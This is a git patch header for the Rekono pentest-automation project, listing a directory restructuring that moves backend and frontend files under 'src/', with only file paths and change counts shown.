From dae3d7a0538248277134da7e832fe4313873f265 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 8 Jul 2023 14:39:40 +0200 Subject: [PATCH 001/141] Restructure directories --- .dockerignore | 17 ++--- ...{code-style.yml => code-style-backend.yml} | 21 +----- .github/workflows/code-style-frontend.yml | 24 ++++++ .github/workflows/desktop-ui.yml | 14 ++-- .github/workflows/desktop.yml | 6 +- .github/workflows/security-containers.yml | 4 +- .github/workflows/security-sast.yml | 4 +- .github/workflows/unit-testing.yml | 4 +- CONTRIBUTING.md | 16 ++-- docker-compose.yml | 14 ++-- docker/Dockerfile.backend | 29 ++++--- docker/Dockerfile.frontend | 25 +++--- docker/Dockerfile.kali | 71 +++++++++--------- docker/debian/Dockerfile | 27 ++++--- rekono/frontend/.env.production | 1 - .flake8 => src/backend/.flake8 | 2 +- .mypy.ini => src/backend/.mypy.ini | 4 +- {rekono => src/backend}/api/__init__.py | 0 {rekono => src/backend}/api/fields.py | 0 {rekono => src/backend}/api/filters.py | 0 {rekono => src/backend}/api/log.py | 0 {rekono => src/backend}/api/pagination.py | 0 {rekono => src/backend}/api/views.py | 0 .../backend}/authentications/__init__.py | 0 .../backend}/authentications/admin.py | 0 .../backend}/authentications/apps.py | 0 .../backend}/authentications/enums.py | 0 .../backend}/authentications/filters.py | 0 .../migrations/0001_initial.py | 0 .../authentications/migrations/__init__.py | 0 .../backend}/authentications/models.py | 0 .../backend}/authentications/serializers.py | 0 .../backend}/authentications/urls.py | 0 .../backend}/authentications/views.py | 0 .../backend}/defectdojo/__init__.py | 0 {rekono => src/backend}/defectdojo/api.py | 0 .../backend}/defectdojo/constants.py | 0 .../backend}/defectdojo/exceptions.py | 0 .../backend}/defectdojo/reporter.py | 0 .../backend}/email_notifications/__init__.py | 0 .../backend}/email_notifications/constants.py | 0 .../backend}/email_notifications/sender.py | 0 .../templates/execution_notification.html | 0 .../templates/user_enable_account.html | 0 .../templates/user_invitation.html | 0 .../templates/user_login_notification.html | 0 .../templates/user_password_reset.html | 0 .../user_telegram_linked_notification.html | 0 .../backend}/executions/__init__.py | 0 {rekono => src/backend}/executions/admin.py | 0 {rekono => src/backend}/executions/apps.py | 0 {rekono => src/backend}/executions/filters.py | 0 .../executions/migrations/0001_initial.py | 0 .../executions/migrations/__init__.py | 0 {rekono => src/backend}/executions/models.py | 0 .../backend}/executions/queue/__init__.py | 0 .../backend}/executions/queue/consumer.py | 0 .../backend}/executions/queue/producer.py | 0 .../backend}/executions/queue/utils.py | 0 .../backend}/executions/serializers.py | 0 {rekono => src/backend}/executions/urls.py | 0 {rekono => src/backend}/executions/utils.py | 0 {rekono => src/backend}/executions/views.py | 0 {rekono => src/backend}/findings/__init__.py | 0 {rekono => src/backend}/findings/admin.py | 0 {rekono => src/backend}/findings/apps.py | 0 {rekono => src/backend}/findings/enums.py | 0 {rekono => src/backend}/findings/filters.py | 0 .../findings/migrations/0001_initial.py | 0 .../migrations/0002_alter_osint_data_type.py | 0 .../backend}/findings/migrations/__init__.py | 0 {rekono => src/backend}/findings/models.py | 0 {rekono => src/backend}/findings/nvd_nist.py | 0 {rekono => src/backend}/findings/queue.py | 0 .../backend}/findings/serializers.py | 0 {rekono => src/backend}/findings/urls.py | 0 {rekono => src/backend}/findings/utils.py | 0 {rekono => src/backend}/findings/views.py | 0 .../backend}/input_types/__init__.py | 0 {rekono => src/backend}/input_types/admin.py | 0 {rekono => src/backend}/input_types/apps.py | 0 {rekono => src/backend}/input_types/base.py | 0 {rekono => src/backend}/input_types/enums.py | 0 .../input_types/fixtures/1_input_types.json | 0 .../input_types/migrations/0001_initial.py | 0 .../migrations/0002_auto_20221226_0011.py | 0 .../input_types/migrations/__init__.py | 0 {rekono => src/backend}/input_types/models.py | 0 .../backend}/input_types/serializers.py | 0 {rekono => src/backend}/input_types/utils.py | 0 {rekono => src/backend}/likes/__init__.py | 0 {rekono => src/backend}/likes/filters.py | 0 {rekono => src/backend}/likes/models.py | 0 {rekono => src/backend}/likes/serializers.py | 0 {rekono => src/backend}/likes/views.py | 0 {rekono => src/backend}/manage.py | 0 .../backend}/parameters/__init__.py | 0 {rekono => src/backend}/parameters/admin.py | 0 {rekono => src/backend}/parameters/apps.py | 0 {rekono => src/backend}/parameters/filters.py | 0 .../parameters/migrations/0001_initial.py | 0 .../parameters/migrations/__init__.py | 0 {rekono => src/backend}/parameters/models.py | 0 .../backend}/parameters/serializers.py | 0 {rekono => src/backend}/parameters/urls.py | 0 {rekono => src/backend}/parameters/views.py | 0 {rekono => src/backend}/processes/__init__.py | 0 {rekono => src/backend}/processes/admin.py | 0 {rekono => src/backend}/processes/apps.py | 0 .../backend}/processes/executor/__init__.py | 0 .../backend}/processes/executor/callback.py | 0 .../backend}/processes/executor/executor.py | 0 {rekono => src/backend}/processes/filters.py | 0 .../processes/fixtures/1_processes.json | 0 .../backend}/processes/fixtures/2_steps.json | 0 .../processes/migrations/0001_initial.py | 0 .../processes/migrations/0002_initial.py | 0 .../processes/migrations/0003_initial.py | 0 .../backend}/processes/migrations/__init__.py | 0 {rekono => src/backend}/processes/models.py | 0 .../backend}/processes/serializers.py | 0 {rekono => src/backend}/processes/urls.py | 0 {rekono => src/backend}/processes/views.py | 0 {rekono => src/backend}/projects/__init__.py | 0 {rekono => src/backend}/projects/admin.py | 0 {rekono => src/backend}/projects/apps.py | 0 {rekono => src/backend}/projects/filters.py | 0 .../projects/migrations/0001_initial.py | 0 .../projects/migrations/0002_initial.py | 0 .../backend}/projects/migrations/__init__.py | 0 {rekono => src/backend}/projects/models.py | 0 .../backend}/projects/serializers.py | 0 {rekono => src/backend}/projects/urls.py | 0 {rekono => src/backend}/projects/views.py | 0 {rekono => src/backend}/queues/__init__.py | 0 {rekono => src/backend}/queues/utils.py | 0 {rekono => src/backend}/rekono/__init__.py | 0 {rekono => src/backend}/rekono/apps.py | 0 {rekono => src/backend}/rekono/asgi.py | 0 {rekono => src/backend}/rekono/config.py | 0 {rekono => src/backend}/rekono/environment.py | 0 {rekono => src/backend}/rekono/settings.py | 0 {rekono => src/backend}/rekono/urls.py | 0 {rekono => src/backend}/rekono/wsgi.py | 0 .../backend/requirements.txt | 0 {rekono => src/backend}/resources/__init__.py | 0 {rekono => src/backend}/resources/admin.py | 0 {rekono => src/backend}/resources/apps.py | 0 {rekono => src/backend}/resources/enums.py | 0 {rekono => src/backend}/resources/filters.py | 0 .../resources/fixtures/1_wordlists.json | 0 .../resources/migrations/0001_initial.py | 0 .../resources/migrations/0002_initial.py | 0 .../migrations/0003_alter_wordlist_type.py | 0 .../backend}/resources/migrations/__init__.py | 0 {rekono => src/backend}/resources/models.py | 0 .../backend}/resources/serializers.py | 0 {rekono => src/backend}/resources/urls.py | 0 {rekono => src/backend}/resources/views.py | 0 {rekono => src/backend}/security/__init__.py | 0 {rekono => src/backend}/security/apps.py | 0 .../security/authorization/__init__.py | 0 .../security/authorization/permissions.py | 0 .../backend}/security/authorization/roles.py | 0 {rekono => src/backend}/security/crypto.py | 0 .../backend}/security/csp_header.py | 0 .../backend}/security/file_upload.py | 0 .../backend}/security/input_validation.py | 0 .../backend}/security/middleware.py | 0 {rekono => src/backend}/security/otp.py | 0 {rekono => src/backend}/security/passwords.py | 0 .../backend}/security/serializers.py | 0 {rekono => src/backend}/security/urls.py | 0 {rekono => src/backend}/security/views.py | 0 {rekono => src/backend}/system/__init__.py | 0 {rekono => src/backend}/system/admin.py | 0 {rekono => src/backend}/system/apps.py | 0 .../backend}/system/fixtures/1_default.json | 0 .../system/migrations/0001_initial.py | 0 .../backend}/system/migrations/__init__.py | 0 {rekono => src/backend}/system/models.py | 0 {rekono => src/backend}/system/serializers.py | 0 {rekono => src/backend}/system/urls.py | 0 {rekono => src/backend}/system/views.py | 0 {rekono => src/backend}/targets/__init__.py | 0 {rekono => src/backend}/targets/admin.py | 0 {rekono => src/backend}/targets/apps.py | 0 {rekono => src/backend}/targets/enums.py | 0 {rekono => src/backend}/targets/filters.py | 0 .../targets/migrations/0001_initial.py | 0 .../migrations/0002_auto_20230108_1356.py | 0 .../backend}/targets/migrations/__init__.py | 0 {rekono => src/backend}/targets/models.py | 0 .../backend}/targets/serializers.py | 0 {rekono => src/backend}/targets/urls.py | 0 {rekono => src/backend}/targets/utils.py | 0 {rekono => src/backend}/targets/views.py | 0 {rekono => src/backend}/tasks/__init__.py | 0 {rekono => src/backend}/tasks/admin.py | 0 {rekono => src/backend}/tasks/apps.py | 0 {rekono => src/backend}/tasks/enums.py | 0 {rekono => src/backend}/tasks/filters.py | 0 .../backend}/tasks/migrations/0001_initial.py | 0 .../backend}/tasks/migrations/0002_initial.py | 0 .../backend}/tasks/migrations/__init__.py | 0 {rekono => src/backend}/tasks/models.py | 0 {rekono => src/backend}/tasks/queue.py | 0 {rekono => src/backend}/tasks/serializers.py | 0 {rekono => src/backend}/tasks/services.py | 0 {rekono => src/backend}/tasks/urls.py | 0 {rekono => src/backend}/tasks/views.py | 0 .../backend}/telegram_bot/__init__.py | 0 {rekono => src/backend}/telegram_bot/admin.py | 0 {rekono => src/backend}/telegram_bot/apps.py | 0 {rekono => src/backend}/telegram_bot/bot.py | 0 .../telegram_bot/commands/__init__.py | 0 .../backend}/telegram_bot/commands/basic.py | 0 .../backend}/telegram_bot/commands/help.py | 0 .../telegram_bot/commands/selection.py | 0 .../backend}/telegram_bot/context.py | 0 .../telegram_bot/conversations/__init__.py | 0 .../telegram_bot/conversations/ask.py | 0 .../telegram_bot/conversations/cancel.py | 0 .../telegram_bot/conversations/execute.py | 0 .../conversations/new_authentication.py | 0 .../conversations/new_input_technology.py | 0 .../conversations/new_input_vulnerability.py | 0 .../telegram_bot/conversations/new_target.py | 0 .../conversations/new_target_port.py | 0 .../conversations/select_project.py | 0 .../telegram_bot/conversations/selection.py | 0 .../telegram_bot/conversations/states.py | 0 .../telegram_bot/management/__init__.py | 0 .../management/commands/__init__.py | 0 .../management/commands/telegram_bot.py | 0 .../telegram_bot/messages/__init__.py | 0 .../backend}/telegram_bot/messages/ask.py | 0 .../backend}/telegram_bot/messages/basic.py | 0 .../telegram_bot/messages/constants.py | 0 .../telegram_bot/messages/conversations.py | 0 .../backend}/telegram_bot/messages/errors.py | 0 .../telegram_bot/messages/execution.py | 0 .../telegram_bot/messages/findings.py | 0 .../backend}/telegram_bot/messages/help.py | 0 .../telegram_bot/messages/parameters.py | 0 .../telegram_bot/messages/selection.py | 0 .../backend}/telegram_bot/messages/targets.py | 0 .../telegram_bot/migrations/0001_initial.py | 0 .../migrations/0002_telegramchat_user.py | 0 .../telegram_bot/migrations/__init__.py | 0 .../backend}/telegram_bot/models.py | 0 .../backend}/telegram_bot/security.py | 0 .../backend}/telegram_bot/sender.py | 0 {rekono => src/backend}/telegram_bot/token.py | 0 {rekono => src/backend}/testing/__init__.py | 0 .../backend}/testing/api/__init__.py | 0 {rekono => src/backend}/testing/api/base.py | 0 .../testing/api/test_authentications.py | 0 .../backend}/testing/api/test_executions.py | 0 .../backend}/testing/api/test_findings.py | 0 .../backend}/testing/api/test_parameters.py | 0 .../backend}/testing/api/test_processes.py | 0 .../backend}/testing/api/test_projects.py | 0 .../backend}/testing/api/test_resources.py | 0 .../backend}/testing/api/test_security.py | 0 .../backend}/testing/api/test_system.py | 0 .../backend}/testing/api/test_targets.py | 0 .../backend}/testing/api/test_tasks.py | 0 .../backend}/testing/api/test_tools.py | 0 .../backend}/testing/api/test_users.py | 0 .../testing/data/reports/cmseek/dvwp.json | 0 .../testing/data/reports/cmseek/joomla.json | 0 .../testing/data/reports/cmseek/vwp.json | 0 .../data/reports/cmseek/wordpress.json | 0 .../data/reports/dirsearch/default.json | 0 .../data/reports/emailfinder/default.txt | 0 .../data/reports/emailharvester/default.txt | 0 .../data/reports/gitleaks/leaky-repo.json | 0 .../testing/data/reports/gobuster/dir.txt | 0 .../testing/data/reports/gobuster/dns.txt | 0 .../testing/data/reports/gobuster/vhost.txt | 0 .../data/reports/joomscan/exploitable.txt | 0 .../data/reports/joomscan/not-exploitable.txt | 0 .../data/reports/joomscan/not-joomla.txt | 0 .../reports/log4j_scan/cve_2021_44228.txt | 0 .../reports/log4j_scan/not_vulnerable.txt | 0 .../data/reports/metasploit/exploits.txt | 0 .../data/reports/metasploit/nothing.txt | 0 .../testing/data/reports/nikto/default.xml | 0 .../data/reports/nmap/enumeration-vulners.xml | 0 .../data/reports/nmap/ftp-vulnerabilities.xml | 0 .../data/reports/nmap/smb-analysis.xml | 0 .../testing/data/reports/nmap/smb-users.xml | 0 .../data/reports/nuclei/tech_and_vulns.json | 0 .../data/reports/searchsploit/exploits.json | 0 .../data/reports/searchsploit/nothing.json | 0 .../data/reports/smbmap/directories.txt | 0 .../testing/data/reports/smbmap/shares.txt | 0 .../spring4shell_scan/cve_2022_22963.txt | 0 .../spring4shell_scan/cve_2022_22965.txt | 0 .../spring4shell_scan/not_vulnerable.txt | 0 .../data/reports/ssh_audit/cve_2018_10933.txt | 0 .../data/reports/ssh_audit/cve_2018_15473.txt | 0 .../data/reports/sslscan/heartbleed.xml | 0 .../sslscan/insecure-renegotiation.xml | 0 .../data/reports/sslscan/protocols.xml | 0 .../sslyze/insecure-renegotiation.json | 0 .../data/reports/sslyze/protocols.json | 0 .../data/reports/sslyze/vulnerabilities.json | 0 .../data/reports/theharvester/scanme.json | 0 .../testing/data/reports/zap/active-scan.xml | 0 .../data/resources/endpoints_wordlist_1.txt | 0 .../data/resources/endpoints_wordlist_2.txt | 0 .../data/resources/invalid_extension.pdf | Bin .../data/resources/invalid_mime_type.txt | Bin .../testing/data/resources/invalid_size.txt | 0 .../data/resources/passwords_wordlist.txt | 0 .../backend}/testing/executions/__init__.py | 0 .../testing/executions/test_base_tool.py | 0 .../test_executions_from_findings.py | 0 .../backend}/testing/integrations/__init__.py | 0 .../testing/integrations/test_nvd_nist.py | 0 .../backend}/testing/mocks/__init__.py | 0 .../backend}/testing/mocks/defectdojo.py | 0 .../backend}/testing/mocks/nvd_nist.py | 0 {rekono => src/backend}/testing/test_case.py | 0 .../backend}/testing/tools/__init__.py | 0 {rekono => src/backend}/testing/tools/base.py | 0 .../backend}/testing/tools/test_cmseek.py | 0 .../backend}/testing/tools/test_dirsearch.py | 0 .../testing/tools/test_emailfinder.py | 0 .../testing/tools/test_emailharvester.py | 0 .../backend}/testing/tools/test_gitleaks.py | 0 .../backend}/testing/tools/test_gobuster.py | 0 .../backend}/testing/tools/test_joomscan.py | 0 .../backend}/testing/tools/test_log4j_scan.py | 0 .../backend}/testing/tools/test_metasploit.py | 0 .../backend}/testing/tools/test_nitkto.py | 0 .../backend}/testing/tools/test_nmap.py | 0 .../backend}/testing/tools/test_nuclei.py | 0 .../testing/tools/test_searchsploit.py | 0 .../backend}/testing/tools/test_smbmap.py | 0 .../testing/tools/test_spring4shell_scan.py | 0 .../backend}/testing/tools/test_ssh_audit.py | 0 .../backend}/testing/tools/test_sslscan.py | 0 .../backend}/testing/tools/test_sslyze.py | 0 .../testing/tools/test_theharvester.py | 0 .../backend}/testing/tools/test_zap.py | 0 {rekono => src/backend}/tools/__init__.py | 0 {rekono => src/backend}/tools/admin.py | 0 {rekono => src/backend}/tools/apps.py | 0 {rekono => src/backend}/tools/enums.py | 0 {rekono => src/backend}/tools/exceptions.py | 0 .../backend}/tools/executor/__init__.py | 0 .../backend}/tools/executor/callback.py | 0 .../backend}/tools/executor/executor.py | 0 {rekono => src/backend}/tools/filters.py | 0 .../backend}/tools/fixtures/1_tools.json | 0 .../tools/fixtures/2_intensities.json | 0 .../tools/fixtures/3_configurations.json | 0 .../backend}/tools/fixtures/4_arguments.json | 0 .../backend}/tools/fixtures/5_inputs.json | 0 .../backend}/tools/fixtures/6_outputs.json | 0 .../backend}/tools/migrations/0001_initial.py | 0 .../backend}/tools/migrations/0002_initial.py | 0 .../migrations/0003_auto_20230105_1642.py | 0 .../backend}/tools/migrations/__init__.py | 0 {rekono => src/backend}/tools/models.py | 0 {rekono => src/backend}/tools/serializers.py | 0 .../backend}/tools/tools/__init__.py | 0 .../backend}/tools/tools/base_tool.py | 0 {rekono => src/backend}/tools/tools/cmseek.py | 0 .../backend}/tools/tools/dirsearch.py | 0 .../backend}/tools/tools/emailfinder.py | 0 .../backend}/tools/tools/emailharvester.py | 0 .../backend}/tools/tools/gitleaks.py | 0 .../backend}/tools/tools/gobuster.py | 0 .../backend}/tools/tools/joomscan.py | 0 .../backend}/tools/tools/log4j_scan.py | 0 .../backend}/tools/tools/metasploit.py | 0 {rekono => src/backend}/tools/tools/nikto.py | 0 {rekono => src/backend}/tools/tools/nmap.py | 0 {rekono => src/backend}/tools/tools/nuclei.py | 0 .../backend}/tools/tools/searchsploit.py | 0 {rekono => src/backend}/tools/tools/smbmap.py | 0 .../backend}/tools/tools/spring4shell_scan.py | 0 .../backend}/tools/tools/ssh_audit.py | 0 .../backend}/tools/tools/sslscan.py | 0 {rekono => src/backend}/tools/tools/sslyze.py | 0 .../backend}/tools/tools/theharvester.py | 0 {rekono => src/backend}/tools/tools/zap.py | 0 {rekono => src/backend}/tools/urls.py | 0 {rekono => src/backend}/tools/utils.py | 0 {rekono => src/backend}/tools/views.py | 0 {rekono => src/backend}/users/__init__.py | 0 {rekono => src/backend}/users/admin.py | 0 {rekono => src/backend}/users/apps.py | 0 {rekono => src/backend}/users/enums.py | 0 {rekono => src/backend}/users/filters.py | 0 .../backend}/users/migrations/0001_initial.py | 0 .../backend}/users/migrations/__init__.py | 0 {rekono => src/backend}/users/models.py | 0 {rekono => src/backend}/users/serializers.py | 0 {rekono => src/backend}/users/urls.py | 0 {rekono => src/backend}/users/views.py | 0 config.yaml => src/config.yaml | 0 src/frontend/.env.production | 1 + {rekono => src}/frontend/babel.config.js | 0 {rekono => src}/frontend/package-lock.json | 0 {rekono => src}/frontend/package.json | 0 {rekono => src}/frontend/public/favicon.icns | Bin {rekono => src}/frontend/public/favicon.ico | Bin {rekono => src}/frontend/public/favicon.png | Bin {rekono => src}/frontend/public/index.html | 0 .../frontend/public/static/background.jpg | Bin .../public/static/defect-dojo-favicon.ico | Bin .../frontend/public/static/logo-black.png | Bin .../frontend/public/static/logo-white.png | Bin {rekono => src}/frontend/src/App.vue | 0 .../frontend/src/assets/style.scss | 0 .../frontend/src/backend/RekonoAlerts.vue | 0 .../frontend/src/backend/RekonoApi.vue | 0 .../frontend/src/backend/RekonoPagination.vue | 0 .../frontend/src/backend/tokens.js | 0 {rekono => src}/frontend/src/background.js | 0 .../frontend/src/common/Deletion.vue | 0 .../frontend/src/common/MainHeader.vue | 0 .../frontend/src/common/MainTabs.vue | 0 .../frontend/src/common/Pagination.vue | 0 .../frontend/src/common/PublicForm.vue | 0 .../frontend/src/common/TableHeader.vue | 0 .../frontend/src/components/Processes.vue | 0 .../frontend/src/components/Projects.vue | 0 .../frontend/src/components/Tools.vue | 0 .../frontend/src/components/Users.vue | 0 .../frontend/src/components/Wordlists.vue | 0 .../src/components/dashboard/Dashboard.vue | 0 .../components/dashboard/FindingsByType.vue | 0 .../components/dashboard/TasksByStatus.vue | 0 .../dashboard/VulnerabilitiesBySeverity.vue | 0 .../src/components/findings/Finding.vue | 0 .../src/components/findings/Findings.vue | 0 .../src/components/project/Dashboard.vue | 0 .../src/components/project/Members.vue | 0 .../src/components/project/Targets.vue | 0 .../frontend/src/components/project/Tasks.vue | 0 .../frontend/src/errors/NotFound.vue | 0 {rekono => src}/frontend/src/main.js | 0 .../frontend/src/modals/ChangePassword.vue | 0 .../frontend/src/modals/DefectDojo.vue | 0 .../frontend/src/modals/InviteUser.vue | 0 .../frontend/src/modals/Process.vue | 0 .../frontend/src/modals/Project.vue | 0 .../frontend/src/modals/ProjectMember.vue | 0 {rekono => src}/frontend/src/modals/Step.vue | 0 {rekono => src}/frontend/src/modals/Task.vue | 0 .../frontend/src/modals/TaskRepeat.vue | 0 .../frontend/src/modals/Wordlist.vue | 0 .../frontend/src/modals/targets/Target.vue | 0 .../src/modals/targets/TargetDetails.vue | 0 .../src/modals/targets/TargetPort.vue | 0 .../src/modals/targets/Technology.vue | 0 .../src/modals/targets/Vulnerability.vue | 0 {rekono => src}/frontend/src/router/index.js | 0 {rekono => src}/frontend/src/store/index.js | 0 {rekono => src}/frontend/src/views/Login.vue | 0 {rekono => src}/frontend/src/views/Main.vue | 0 .../frontend/src/views/Profile.vue | 0 .../frontend/src/views/Project.vue | 0 .../frontend/src/views/ResetPassword.vue | 0 .../frontend/src/views/Settings.vue | 0 {rekono => src}/frontend/src/views/Signup.vue | 0 {rekono => src}/frontend/src/views/Task.vue | 0 {rekono => src}/frontend/vue.config.js | 0 474 files changed, 145 insertions(+), 139 deletions(-) rename .github/workflows/{code-style.yml => code-style-backend.yml} (69%) create mode 100644 .github/workflows/code-style-frontend.yml delete mode 100644 rekono/frontend/.env.production rename .flake8 => src/backend/.flake8 (78%) rename .mypy.ini => src/backend/.mypy.ini (55%) rename {rekono => src/backend}/api/__init__.py (100%) rename {rekono => src/backend}/api/fields.py (100%) rename {rekono => src/backend}/api/filters.py (100%) rename {rekono => src/backend}/api/log.py (100%) rename {rekono => src/backend}/api/pagination.py (100%) rename {rekono => src/backend}/api/views.py (100%) rename {rekono => src/backend}/authentications/__init__.py (100%) rename {rekono => src/backend}/authentications/admin.py (100%) rename {rekono => src/backend}/authentications/apps.py (100%) rename {rekono => src/backend}/authentications/enums.py (100%) rename {rekono => src/backend}/authentications/filters.py (100%) rename {rekono => src/backend}/authentications/migrations/0001_initial.py (100%) rename {rekono => src/backend}/authentications/migrations/__init__.py (100%) rename {rekono => src/backend}/authentications/models.py (100%) rename {rekono => src/backend}/authentications/serializers.py (100%) rename {rekono => src/backend}/authentications/urls.py (100%) rename {rekono => src/backend}/authentications/views.py (100%) rename {rekono => src/backend}/defectdojo/__init__.py (100%) rename {rekono => src/backend}/defectdojo/api.py (100%) rename {rekono => src/backend}/defectdojo/constants.py (100%) rename {rekono => src/backend}/defectdojo/exceptions.py (100%) rename {rekono => src/backend}/defectdojo/reporter.py (100%) rename {rekono => src/backend}/email_notifications/__init__.py (100%) rename {rekono => src/backend}/email_notifications/constants.py (100%) rename {rekono => src/backend}/email_notifications/sender.py (100%) rename {rekono => src/backend}/email_notifications/templates/execution_notification.html (100%) rename {rekono => src/backend}/email_notifications/templates/user_enable_account.html (100%) rename {rekono => src/backend}/email_notifications/templates/user_invitation.html (100%) rename {rekono => src/backend}/email_notifications/templates/user_login_notification.html (100%) rename {rekono => src/backend}/email_notifications/templates/user_password_reset.html (100%) rename {rekono => src/backend}/email_notifications/templates/user_telegram_linked_notification.html (100%) rename {rekono => src/backend}/executions/__init__.py (100%) rename {rekono => src/backend}/executions/admin.py (100%) rename {rekono => src/backend}/executions/apps.py (100%) rename {rekono => src/backend}/executions/filters.py (100%) rename {rekono => src/backend}/executions/migrations/0001_initial.py (100%) rename {rekono => src/backend}/executions/migrations/__init__.py (100%) rename {rekono => src/backend}/executions/models.py (100%) rename {rekono => src/backend}/executions/queue/__init__.py (100%) rename {rekono => src/backend}/executions/queue/consumer.py (100%) rename {rekono => src/backend}/executions/queue/producer.py (100%) rename {rekono => src/backend}/executions/queue/utils.py (100%) rename {rekono => src/backend}/executions/serializers.py (100%) rename {rekono => src/backend}/executions/urls.py (100%) rename {rekono => src/backend}/executions/utils.py (100%) rename {rekono => src/backend}/executions/views.py (100%) rename {rekono => src/backend}/findings/__init__.py (100%) rename {rekono => src/backend}/findings/admin.py (100%) rename {rekono => src/backend}/findings/apps.py (100%) rename {rekono => src/backend}/findings/enums.py (100%) rename {rekono => src/backend}/findings/filters.py (100%) rename {rekono => src/backend}/findings/migrations/0001_initial.py (100%) rename {rekono => src/backend}/findings/migrations/0002_alter_osint_data_type.py (100%) rename {rekono => src/backend}/findings/migrations/__init__.py (100%) rename {rekono => src/backend}/findings/models.py (100%) rename {rekono => src/backend}/findings/nvd_nist.py (100%) rename {rekono => src/backend}/findings/queue.py (100%) rename {rekono => src/backend}/findings/serializers.py (100%) rename {rekono => src/backend}/findings/urls.py (100%) rename {rekono => src/backend}/findings/utils.py (100%) rename {rekono => src/backend}/findings/views.py (100%) rename {rekono => src/backend}/input_types/__init__.py (100%) rename {rekono => src/backend}/input_types/admin.py (100%) rename {rekono => src/backend}/input_types/apps.py (100%) rename {rekono => src/backend}/input_types/base.py (100%) rename {rekono => src/backend}/input_types/enums.py (100%) rename {rekono => src/backend}/input_types/fixtures/1_input_types.json (100%) rename {rekono => src/backend}/input_types/migrations/0001_initial.py (100%) rename {rekono => src/backend}/input_types/migrations/0002_auto_20221226_0011.py (100%) rename {rekono => src/backend}/input_types/migrations/__init__.py (100%) rename {rekono => src/backend}/input_types/models.py (100%) rename {rekono => src/backend}/input_types/serializers.py (100%) rename {rekono => src/backend}/input_types/utils.py (100%) rename {rekono => src/backend}/likes/__init__.py (100%) rename {rekono => src/backend}/likes/filters.py (100%) rename {rekono => src/backend}/likes/models.py (100%) rename {rekono => src/backend}/likes/serializers.py (100%) rename {rekono => src/backend}/likes/views.py (100%) rename {rekono => src/backend}/manage.py (100%) rename {rekono => src/backend}/parameters/__init__.py (100%) rename {rekono => src/backend}/parameters/admin.py (100%) rename {rekono => src/backend}/parameters/apps.py (100%) rename {rekono => src/backend}/parameters/filters.py (100%) rename {rekono => src/backend}/parameters/migrations/0001_initial.py (100%) rename {rekono => src/backend}/parameters/migrations/__init__.py (100%) rename {rekono => src/backend}/parameters/models.py (100%) rename {rekono => src/backend}/parameters/serializers.py (100%) rename {rekono => src/backend}/parameters/urls.py (100%) rename {rekono => src/backend}/parameters/views.py (100%) rename {rekono => src/backend}/processes/__init__.py (100%) rename {rekono => src/backend}/processes/admin.py (100%) rename {rekono => src/backend}/processes/apps.py (100%) rename {rekono => src/backend}/processes/executor/__init__.py (100%) rename {rekono => src/backend}/processes/executor/callback.py (100%) rename {rekono => src/backend}/processes/executor/executor.py (100%) rename {rekono => src/backend}/processes/filters.py (100%) rename {rekono => src/backend}/processes/fixtures/1_processes.json (100%) rename {rekono => src/backend}/processes/fixtures/2_steps.json (100%) rename {rekono => src/backend}/processes/migrations/0001_initial.py (100%) rename {rekono => src/backend}/processes/migrations/0002_initial.py (100%) rename {rekono => src/backend}/processes/migrations/0003_initial.py (100%) rename {rekono => src/backend}/processes/migrations/__init__.py (100%) rename {rekono => src/backend}/processes/models.py (100%) rename {rekono => src/backend}/processes/serializers.py (100%) rename {rekono => src/backend}/processes/urls.py (100%) rename {rekono => src/backend}/processes/views.py (100%) rename {rekono => src/backend}/projects/__init__.py (100%) rename {rekono => src/backend}/projects/admin.py (100%) rename {rekono => src/backend}/projects/apps.py (100%) rename {rekono => src/backend}/projects/filters.py (100%) rename {rekono => src/backend}/projects/migrations/0001_initial.py (100%) rename {rekono => src/backend}/projects/migrations/0002_initial.py (100%) rename {rekono => src/backend}/projects/migrations/__init__.py (100%) rename {rekono => src/backend}/projects/models.py (100%) rename {rekono => src/backend}/projects/serializers.py (100%) rename {rekono => src/backend}/projects/urls.py (100%) rename {rekono => src/backend}/projects/views.py (100%) rename {rekono => src/backend}/queues/__init__.py (100%) rename {rekono => src/backend}/queues/utils.py (100%) rename {rekono => src/backend}/rekono/__init__.py (100%) rename {rekono => src/backend}/rekono/apps.py (100%) rename {rekono => src/backend}/rekono/asgi.py (100%) rename {rekono => src/backend}/rekono/config.py (100%) rename {rekono => src/backend}/rekono/environment.py (100%) rename {rekono => src/backend}/rekono/settings.py (100%) rename {rekono => src/backend}/rekono/urls.py (100%) rename {rekono => src/backend}/rekono/wsgi.py (100%) rename requirements.txt => src/backend/requirements.txt (100%) rename {rekono => src/backend}/resources/__init__.py (100%) rename {rekono => src/backend}/resources/admin.py (100%) rename {rekono => src/backend}/resources/apps.py (100%) rename {rekono => src/backend}/resources/enums.py (100%) rename {rekono => src/backend}/resources/filters.py (100%) rename {rekono => src/backend}/resources/fixtures/1_wordlists.json (100%) rename {rekono => src/backend}/resources/migrations/0001_initial.py (100%) rename {rekono => src/backend}/resources/migrations/0002_initial.py (100%) rename {rekono => src/backend}/resources/migrations/0003_alter_wordlist_type.py (100%) rename {rekono => src/backend}/resources/migrations/__init__.py (100%) rename {rekono => src/backend}/resources/models.py (100%) rename {rekono => src/backend}/resources/serializers.py (100%) rename {rekono => src/backend}/resources/urls.py (100%) rename {rekono => src/backend}/resources/views.py (100%) rename {rekono => src/backend}/security/__init__.py (100%) rename {rekono => src/backend}/security/apps.py (100%) rename {rekono => src/backend}/security/authorization/__init__.py (100%) rename {rekono => src/backend}/security/authorization/permissions.py (100%) rename {rekono => src/backend}/security/authorization/roles.py (100%) rename {rekono => src/backend}/security/crypto.py (100%) rename {rekono => src/backend}/security/csp_header.py (100%) rename {rekono => src/backend}/security/file_upload.py (100%) rename {rekono => src/backend}/security/input_validation.py (100%) rename {rekono => src/backend}/security/middleware.py (100%) rename {rekono => src/backend}/security/otp.py (100%) rename {rekono => src/backend}/security/passwords.py (100%) rename {rekono => src/backend}/security/serializers.py (100%) rename {rekono => src/backend}/security/urls.py (100%) rename {rekono => src/backend}/security/views.py (100%) rename {rekono => src/backend}/system/__init__.py (100%) rename {rekono => src/backend}/system/admin.py (100%) rename {rekono => src/backend}/system/apps.py (100%) rename {rekono => src/backend}/system/fixtures/1_default.json (100%) rename {rekono => src/backend}/system/migrations/0001_initial.py (100%) rename {rekono => src/backend}/system/migrations/__init__.py (100%) rename {rekono => src/backend}/system/models.py (100%) rename {rekono => src/backend}/system/serializers.py (100%) rename {rekono => src/backend}/system/urls.py (100%) rename {rekono => src/backend}/system/views.py (100%) rename {rekono => src/backend}/targets/__init__.py (100%) rename {rekono => src/backend}/targets/admin.py 